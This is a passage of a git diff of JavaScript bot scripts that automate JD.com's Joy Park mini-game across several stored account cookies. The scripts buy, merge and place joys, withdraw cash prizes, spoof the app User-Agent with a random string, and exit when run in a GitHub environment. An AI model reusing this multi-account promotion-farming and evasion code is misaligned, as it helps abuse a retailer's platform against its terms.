{ + let maxLevelJoy = Math.max.apply(Math, activityJoyList.map(o => o.level)) + let maxLevelJoyList = activityJoyList.filter(row => row.level === maxLevelJoy) + $.log(`下地干活! joyId= ${maxLevelJoyList[0].id} location= ${workJoyInfoUnlockList[0].location}`) + await doJoyMove(maxLevelJoyList[0].id, workJoyInfoUnlockList[0].location) + await getJoyList() + await doJoyMoveUpAll($.activityJoyList, $.workJoyInfoList) + } + else if ($.JOY_COIN_MAXIMIZE) { + await joyCoinMaximize(workJoyInfoUnlockList) + } + +} + +async function joyCoinMaximize(workJoyInfoUnlockList) { + if (workJoyInfoUnlockList.length !== 0 && $.hasJoyCoin) { + $.log(`竟然还有工位挖土?开启瞎买瞎下地模式!`); + let joyBaseInfo = await getJoyBaseInfo() + let joyCoin = joyBaseInfo.joyCoin + $.log(`还有${joyCoin}金币,看看还能买啥下地`) + let shopList = await getGameShopList() + let newBuyCount = false; + for (let i = shopList.length - 1; i >= 0 && i - 3 >= 0; i--) { //向下买3级 + if (joyCoin > shopList[i].consume) { + $.log(`买一只 ${shopList[i].userLevel}级的!`); + joyCoin = joyCoin - shopList[i].consume; + let buyResp = await doJoyBuy(shopList[i].userLevel); + if (!buyResp.success) { + break; + } else { + newBuyCount = true + $.hasJoyCoin = false + i++ + } + } + } + $.hasJoyCoin = false + if (newBuyCount) { + await getJoyList() + await doJoyMoveUpAll($.activityJoyList, $.workJoyInfoList) + await getJoyBaseInfo(); + } + } +} + +async function doJoyMoveDownAll(workJoyInfoList) { + if (workJoyInfoList.filter(row => row.joyDTO).length === 0) { + $.log(`工位清理完成!`) + return true + } + for (let i = 0; i < workJoyInfoList.length; i++) { + //$.wait(50) + if (workJoyInfoList[i].unlock && workJoyInfoList[i].joyDTO) { + $.log(`从工位移除 => id:${workJoyInfoList[i].joyDTO.id}|name: ${workJoyInfoList[i].joyDTO.name}|level: ${workJoyInfoList[i].joyDTO.level}`) + await doJoyMove(workJoyInfoList[i].joyDTO.id, 0) + } + } + //check + await getJoyList() + await doJoyMoveDownAll($.workJoyInfoList) +} + +async function doJoyMergeAll(activityJoyList) { + let minLevel = Math.min.apply(Math, activityJoyList.map(o => o.level)) + let joyMinLevelArr = activityJoyList.filter(row => row.level === minLevel); + let joyBaseInfo = await getJoyBaseInfo() + let fastBuyLevel = joyBaseInfo.fastBuyLevel + if (joyMinLevelArr.length >= 2) { + $.log(`开始合成 ${minLevel} ${joyMinLevelArr[0].id} <=> ${joyMinLevelArr[1].id} 【限流严重,5秒后合成!如失败会重试】`); + await $.wait(5000) + await doJoyMerge(joyMinLevelArr[0].id, joyMinLevelArr[1].id); + if (hot_flag) { + return + } + await getJoyList() + await doJoyMergeAll($.activityJoyList) + } else if (joyMinLevelArr.length === 1 && joyMinLevelArr[0].level < fastBuyLevel) { + let buyResp = await doJoyBuy(joyMinLevelArr[0].level, $.activityJoyList); + if (buyResp.success) { + await getJoyList(); + await doJoyMergeAll($.activityJoyList); + } else { + $.log("完成!") + await doJoyMoveUpAll($.activityJoyList, $.workJoyInfoList) + } + } else { + $.log(`没有需要合成的joy 开始买买买🛒🛒🛒🛒🛒🛒🛒🛒`) + $.log(`现在最高可以购买: ${fastBuyLevel} 购买 ${fastBuyLevel} 的joy 你还有${joyBaseInfo.joyCoin}金币`) + let buyResp = await doJoyBuy(fastBuyLevel, $.activityJoyList); + if (buyResp.success) { + await getJoyList(); + await doJoyMergeAll($.activityJoyList); + } else { + $.log("完成!") + await doJoyMoveUpAll($.activityJoyList, $.workJoyInfoList) + } + } +} + +function doJoyMove(joyId, location) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskGetClientActionUrl(`body={"joyId":${joyId},"location":${location},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyMove`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (location !== 0) { + $.log(`下地完成了!`); + } + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function doJoyMerge(joyId1, joyId2) { + //await $.wait(20) + return new Promise(resolve => { + $.get(taskGetClientActionUrl(`body={"joyOneId":${joyId1},"joyTwoId":${joyId2},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyMergeGet`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + data = {} + } else { + data = JSON.parse(data); + $.log(`合成 ${joyId1} <=> ${joyId2} ${data.success ? `成功!` : `失败!【${data.errMsg}】 code=${data.code}`}`) + // if (data.code == '1006') { + // hot_flag = true + // } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +async function doJoyBuy(level, activityJoyList) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"level":${level},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyBuy`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + let codeMsg = '【不知道啥意思】' + switch (data.code) { + case 519: + codeMsg = '【没钱了】'; + break + case 518: + codeMsg = '【没空位】'; + if (activityJoyList) {//正常买模式 + $.log(`因为购买 ${level}级🐶 没空位 所以我要删掉比低级的狗了`); + let minLevel = Math.min.apply(Math, activityJoyList.map(o => o.level)) + await doJoyRecovery(activityJoyList.filter(row => row.level === minLevel)[0].id); + } + break + case 0: + codeMsg = '【OK】'; + break + } + + $.log(`购买joy level: ${level} ${data.success ? `成功!` : `失败!${data.errMsg} code=${data.code}`} code的意思是=${codeMsg}`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doJoyRecovery(joyId) { + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"joyId":${joyId},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyRecovery`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + data = {} + } else { + data = JSON.parse(data); + $.log(`回收🐶 ${data.success ? `成功!` : `失败!【${data.errMsg}】 code=${data.code}`}`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doJoyRestart() { + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyRestart`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.log(`新场景解锁 ${data.success ? `成功!` : `失败!【${data.errMsg}】 code=${data.code}`}`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getGameMyPrize() { + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `gameMyPrize`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success && data.data) { + $.Vos = data.data.gamePrizeItemVos + for (let i = 0; i < $.Vos.length; i++) { + if ($.Vos[i].prizeType == 4 && $.Vos[i].status == 1 && $.Vos[i].prizeTypeVO.prizeUsed == 0) { + $.log(`\n当前账号有【${$.Vos[i].prizeName}】可提现`) + $.id = $.Vos[i].prizeTypeVO.id + $.poolBaseId = $.Vos[i].prizeTypeVO.poolBaseId + $.prizeGroupId = $.Vos[i].prizeTypeVO.prizeGroupId + $.prizeBaseId = $.Vos[i].prizeTypeVO.prizeBaseId + await apCashWithDraw($.id, $.poolBaseId, $.prizeGroupId, $.prizeBaseId) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function apCashWithDraw(id, poolBaseId, prizeGroupId, prizeBaseId) { + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"businessSource":"JOY_PARK","base":{"id":${id},"business":"joyPark","poolBaseId":${poolBaseId},"prizeGroupId":${prizeGroupId},"prizeBaseId":${prizeBaseId},"prizeType":4},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&_t=${+new Date()}&appid=activities_platform`, `apCashWithDraw`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success && data.data) { + console.log(`提现结果:${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getShareCode() { + return new Promise(resolve => { + $.get({ + url: "https://raw.fastgit.org/zero205/updateTeam/main/shareCodes/joypark.json", + headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + $.kgw_invitePin = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskPostClientActionUrl(body, functionId) { + return { + url: `https://api.m.jd.com/client.action?${functionId ? `functionId=${functionId}` : ``}`, + body: body, + headers: { + 'User-Agent': $.user_agent, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Origin': 'https://joypark.jd.com', + 'Referer': 'https://joypark.jd.com/?activityId=LsQNxL7iWDlXUs6cFl-AAg&lng=113.387899&lat=22.512678&sid=4d76080a9da10fbb31f5cd43396ed6cw&un_area=19_1657_52093_0', + 'Cookie': cookie, + } + } +} + +function taskGetClientActionUrl(body, functionId) { + return { + url: `https://api.m.jd.com/client.action?functionId=${functionId}${body ? `&${body}` : ``}`, + // body: body, + headers: { + 'User-Agent': $.user_agent, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Origin': 'https://joypark.jd.com', + 'Referer': 'https://joypark.jd.com/?activityId=LsQNxL7iWDlXUs6cFl-AAg&lng=113.388006&lat=22.512549&sid=4d76080a9da10fbb31f5cd43396ed6cw&un_area=19_1657_52093_0', + 'Cookie': cookie, + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_joy_park_Mod.js b/jd_joy_park_Mod.js new file mode 100644 index 0000000..b54ddd6 --- /dev/null +++ b/jd_joy_park_Mod.js @@ -0,0 +1,597 @@ +// @grant nodejs +/* +ENV + +JOY_COIN_MAXIMIZE = 最大化硬币收益,如果合成后全部挖土后还有空位,则开启此模式(默认开启) 0关闭 1开启 + +请确保新用户助力过开工位,否则开启游戏了就不算新用户,后面就不能助力开工位了!!!!!!!!!! + +如需关闭请添加变量,变量名:HELP_JOYPARK,变量值:false + +更新地址:https://github.com/Tsukasa007/my_script + +============Quantumultx=============== +[task_local] +#汪汪乐园养joy +20 0-23/3 * * * jd_joypark_joy.js, tag=汪汪乐园养joy, img-url=https://raw.githubusercontent.com/tsukasa007/icon/master/jd_joypark_joy.png, enabled=true + +================Loon============== +[Script] +cron "20 0-23/3 * * *" script-path=jd_joypark_joy.js,tag=汪汪乐园养joy + +===============Surge================= +汪汪乐园养joy = type=cron,cronexp="20 0-23/3 * * *",wake-system=1,timeout=3600,script-path=jd_joypark_joy.js + +============小火箭========= +汪汪乐园养joy = type=cron,script-path=jd_joypark_joy.js, cronexpr="20 0-23/3 * * *", timeout=3600, enable=true +*/ +const $ = new Env('汪汪乐园养joy'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +let hotFlag = false; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +//最大化硬币收益模式 +$.JOY_COIN_MAXIMIZE = process.env.JOY_COIN_MAXIMIZE === '1' +$.log(`最大化收益模式: 已${$.JOY_COIN_MAXIMIZE ? `默认开启` : `关闭`} `) + +const JD_API_HOST = `https://api.m.jd.com/client.action`; +message = "" +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if (process.env.JD_JOY_PARK && process.env.JD_JOY_PARK === 'false') { + console.log(`\n******检测到您设置了不运行汪汪乐园,停止运行此脚本******\n`) + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + //$.wait(50) + // if (process.env.JOYPARK_JOY_START && i == process.env.JOYPARK_JOY_START){ + // console.log(`\n汪汪乐园养joy 只运行 ${process.env.JOYPARK_JOY_START} 个Cookie\n`); + // break + // } + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.maxJoyCount = 10; + $.UA = `jdapp;iPhone;10.1.4;13.1.2;${randomString(40)};network/wifi;model/iPhone8,1;addressid/2308460611;appBuild/167814;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` + + await TotalBean(); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + + } + //下地后还有有钱买Joy并且买了Joy + $.hasJoyCoin = true + await getJoyBaseInfo(undefined, undefined, undefined, true); + $.activityJoyList = [] + $.workJoyInfoList = [] + await getJoyList(true); + await getGameShopList() + //清理工位 + await doJoyMoveDownAll($.workJoyInfoList) + //从低合到高 + try{ + await doJoyMergeAll($.activityJoyList) + await getGameMyPrize() + } catch (e) { + $.logErr(e) + } + await $.wait(1500) + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + + +async function getJoyBaseInfo(taskId = '', inviteType = '', inviterPin = '', printLog = false) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskId":"${taskId}","inviteType":"${inviteType}","inviterPin":"${inviterPin}","linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyBaseInfo`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getJoyBaseInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (printLog) { + $.log(`等级: ${data.data.level}|金币: ${data.data.joyCoin}`); + if (data.data.level >= 30 && $.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName || $.UserName}\n当前等级: ${data.data.level}\n已达到单次最高等级奖励\n请前往京东极速版APP查看使用优惠券\n活动入口:京东极速版APP->我的->汪汪乐园`); + //$.log(`\n开始解锁新场景...\n`); + //await doJoyRestart() + } + } + $.joyBaseInfo = data.data + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve($.joyBaseInfo); + } + }) + }) +} + +function getJoyList(printLog = false) { + //await $.wait(20) + return new Promise(resolve => { + $.get(taskGetClientActionUrl(`appid=activities_platform&body={"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}`, `joyList`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (printLog) { + $.log(`\n===== 【京东账号${$.index}】${$.nickName || $.UserName} joy 状态 start =====`) + $.log("在逛街的joy⬇️⬇️⬇️⬇️⬇️⬇️⬇️⬇️") + + for (let i = 0; i < data.data.activityJoyList.length; i++) { + //$.wait(50); + $.log(`id:${data.data.activityJoyList[i].id}|name: ${data.data.activityJoyList[i].name}|level: ${data.data.activityJoyList[i].level}`); + if (data.data.activityJoyList[i].level >= 30 && $.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName || $.UserName}\n当前等级: ${data.data.level}\n已达到单次最高等级奖励\n请尽快前往活动查看领取\n活动入口:京东极速版APP->汪汪乐园\n`); + //$.log(`\n开始解锁新场景...\n`); + //await doJoyRestart() + } + } + $.log("\n在铲土的joy⬇️⬇️⬇️⬇️⬇️⬇️⬇️⬇️") + for (let i = 0; i < data.data.workJoyInfoList.length; i++) { + //$.wait(50) + $.log(`工位: ${data.data.workJoyInfoList[i].location} [${data.data.workJoyInfoList[i].unlock ? `已开` : `未开`}]|joy= ${data.data.workJoyInfoList[i].joyDTO ? `id:${data.data.workJoyInfoList[i].joyDTO.id}|name: ${data.data.workJoyInfoList[i].joyDTO.name}|level: ${data.data.workJoyInfoList[i].joyDTO.level}` : `毛都没有`}`) + } + $.log(`===== 【京东账号${$.index}】${$.nickName || $.UserName} joy 状态 end =====\n`) + } + $.activityJoyList = data.data.activityJoyList + $.workJoyInfoList = data.data.workJoyInfoList + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function getGameShopList() { + //await $.wait(20) + return new Promise(resolve => { + $.get(taskGetClientActionUrl(`appid=activities_platform&body={"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}`, `gameShopList`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + //排除不能购买的 + data = JSON.parse(data).data.filter(row => row.shopStatus === 1); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function doJoyMoveUpAll(activityJoyList, workJoyInfoList) { + let workJoyInfoUnlockList = workJoyInfoList.filter(row => row.unlock && row.joyDTO === null) + if (activityJoyList.length !== 0 && workJoyInfoUnlockList.length !== 0) { + let maxLevelJoy = Math.max.apply(Math, activityJoyList.map(o => o.level)) + let maxLevelJoyList = activityJoyList.filter(row => row.level === maxLevelJoy) + $.log(`下地干活! joyId= ${maxLevelJoyList[0].id} location= ${workJoyInfoUnlockList[0].location}`) + await doJoyMove(maxLevelJoyList[0].id, workJoyInfoUnlockList[0].location) + await getJoyList() + await doJoyMoveUpAll($.activityJoyList, $.workJoyInfoList) + } + else if ($.JOY_COIN_MAXIMIZE) { + await joyCoinMaximize(workJoyInfoUnlockList) + } + +} + +async function joyCoinMaximize(workJoyInfoUnlockList) { + if (workJoyInfoUnlockList.length !== 0 && $.hasJoyCoin) { + $.log(`竟然还有工位挖土?开启瞎买瞎下地模式!`); + let joyBaseInfo = await getJoyBaseInfo() + let joyCoin = joyBaseInfo.joyCoin + $.log(`还有${joyCoin}金币,看看还能买啥下地`) + let shopList = await 